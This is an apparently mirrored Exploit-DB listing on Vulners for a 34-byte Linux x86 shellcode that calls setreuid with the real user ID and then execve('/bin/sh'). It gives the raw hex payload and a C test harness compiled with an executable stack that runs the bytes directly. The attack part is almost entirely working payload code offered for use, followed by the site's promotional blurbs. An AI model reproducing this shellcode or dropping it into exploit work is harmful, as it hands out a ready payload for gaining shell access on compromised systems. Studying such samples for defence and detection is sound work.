Lucene search
K

setreudgetuid, getuid & execve"/bin/sh" Shellcode 34 bytes

🗓️ 22 Apr 2010 00:00:00Reported by MagnefikkoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

34 bytes setreud(getuid(), getuid()) & execve("/bin/sh") shellcode by Magnefikko for Linux x86

Code
#include <stdio.h>
#include <string.h>

/*
	by Magnefikko
	14.04.2010
	[email protected]
	promhyl.oz.pl
	Subgroup: #PRekambr
	Name: 34 bytes setreud(getuid(), getuid()) & execve("/bin/sh") shellcode
	Platform: Linux x86
	
	setreuid(getuid(), getuid());
	execve("/bin/sh");	

	gcc -Wl,-z,execstack filename.c

	shellcode:

\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80

*/


int main(){
	char shell[] =
"\x6a\x18\x58\xcd\x80\x50\x50\x5b\x59\x6a\x46\x58\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80";
	printf("by Magnefikko\[email protected]\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
	(*(void (*)()) shell)();
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Apr 2010 00:00Current
0.3Low risk
Vulners AI Score0.3
33